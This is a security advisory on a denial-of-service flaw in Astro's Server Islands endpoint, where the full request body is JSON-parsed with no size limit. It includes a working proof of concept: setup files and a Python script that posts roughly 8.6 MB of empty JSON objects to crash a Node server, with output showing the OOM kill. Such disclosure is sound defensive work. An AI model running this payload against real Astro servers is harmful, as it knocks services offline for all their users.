Astro: Memory exhaustion DoS due to missing request body size limit in Server Islands

Summary

Astro's Server Islands POST handler buffers and parses the full request body as JSON without enforcing a size limit. Because JSON.parse() allocates a V8 heap object for every element in the input, a crafted payload of many small JSON objects achieves ~15x memory amplification (wire bytes to heap bytes), allowing a single unauthenticated request to exhaust the process heap and crash the server. The /_server-islands/[name] route is registered on all Astro SSR apps regardless of whether any component uses server:defer, and the body is parsed before the island name is validated, so any Astro SSR app with the Node standalone adapter is affected.

Details

Astro automatically registers a Server Islands route at /_server-islands/[name] on all SSR apps, regardless of whether any component uses server:defer. The POST handler in packages/astro/src/core/server-islands/endpoint.ts buffers the entire request body into memory and parses it as JSON with no size or depth limit:

// packages/astro/src/core/server-islands/endpoint.ts (lines 55-56)
const raw = await request.text();    // full body buffered into memory — no size limit
const data = JSON.parse(raw);        // parsed into V8 object graph — no element count limit

The request body is parsed before the island name is validated, so the attacker does not need to know any valid island name — /_server-islands/anything triggers the vulnerable code path. No authentication is required.

Additionally, JSON.parse() allocates a heap object for every array/object in the input, so a payload consisting of many empty JSON objects (e.g., [{},{},{},...]) achieves ~15x memory amplification (wire bytes to heap bytes). The entire object graph is held as a single live reference until parsing completes, preventing garbage collection. An 8.6 MB request is sufficient to crash a server with a 128 MB heap limit.

PoC

Environment: Astro 5.18.0, @astrojs/node 9.5.4, Node.js 22 with --max-old-space-size=128.

The app does not use server:defer — this is a minimal SSR setup with no server island components. The route is still registered and exploitable.

Setup files:

package.json:

{
  "name": "poc-server-islands-dos",
  "scripts": {
    "build": "astro build",
    "start": "node --max-old-space-size=128 dist/server/entry.mjs"
  },
  "dependencies": {
    "astro": "5.18.0",
    "@astrojs/node": "9.5.4"
  }
}

astro.config.mjs:

import { defineConfig } from 'astro/config';
import node from '@astrojs/node';

export default defineConfig({
  output: 'server',
  adapter: node({ mode: 'standalone' }),
});

src/pages/index.astro:

---
---
<html>
<head><title>Astro App</title></head>
<body>
  <h1>Hello</h1>
  <p>Just a plain SSR page. No server islands.</p>
</body>
</html>

Dockerfile:

FROM node:22-slim
WORKDIR /app
COPY package.json .
RUN npm install
COPY . .
RUN npm run build
EXPOSE 4321
CMD ["node", "--max-old-space-size=128", "dist/server/entry.mjs"]

docker-compose.yml:

services:
  astro:
    build: .
    ports:
      - "4321:4321"
    deploy:
      resources:
        limits:
          memory: 256m

Reproduction:

# Build and start
docker compose up -d

# Verify server is running
curl http://localhost:4321/
# => 200 OK

crash.py:

import requests

# Any path under /_server-islands/ works — no valid island name needed
TARGET = "http://localhost:4321/_server-islands/x"

# 3M empty objects: each {} is ~3 bytes JSON but ~56-80 bytes as V8 object
# 8.6 MB on wire → ~180+ MB heap allocation → exceeds 128 MB limit
n = 3_000_000
payload = '[' + ','.join(['{}'] * n) + ']'
print(f"Payload: {len(payload) / (1024*1024):.1f} MB")

try:
    r = requests.post(TARGET, data=payload,
        headers={"Content-Type": "application/json"}, timeout=30)
    print(f"Status: {r.status_code}")
except requests.exceptions.ConnectionError:
    print("Server crashed (OOM killed)")

$ python crash.py
Payload: 8.6 MB
Server crashed (OOM killed)

$ curl http://localhost:4321/
curl: (7) Failed to connect to localhost port 4321: Connection refused

$ docker compose ps
NAME      IMAGE     COMMAND   SERVICE   CREATED   STATUS    PORTS
(empty — container was OOM killed)

The server process is killed and does not recover. Repeated requests in a containerized environment with restart policies cause a persistent crash-restart loop.

Impact

Any Astro SSR app with the Node standalone adapter is affected — the /_server-islands/[name] route is registered by default regardless of whether any component uses server:defer. Unauthenticated attackers can crash the server process with a single crafted HTTP request under 9 MB. In containerized environments with memory limits, repeated requests cause a persistent crash-restart loop, denying service to all users. The attack requires no authentication and no knowledge of valid island names — any value in the [name] parameter works because the body is parsed before the name is validated.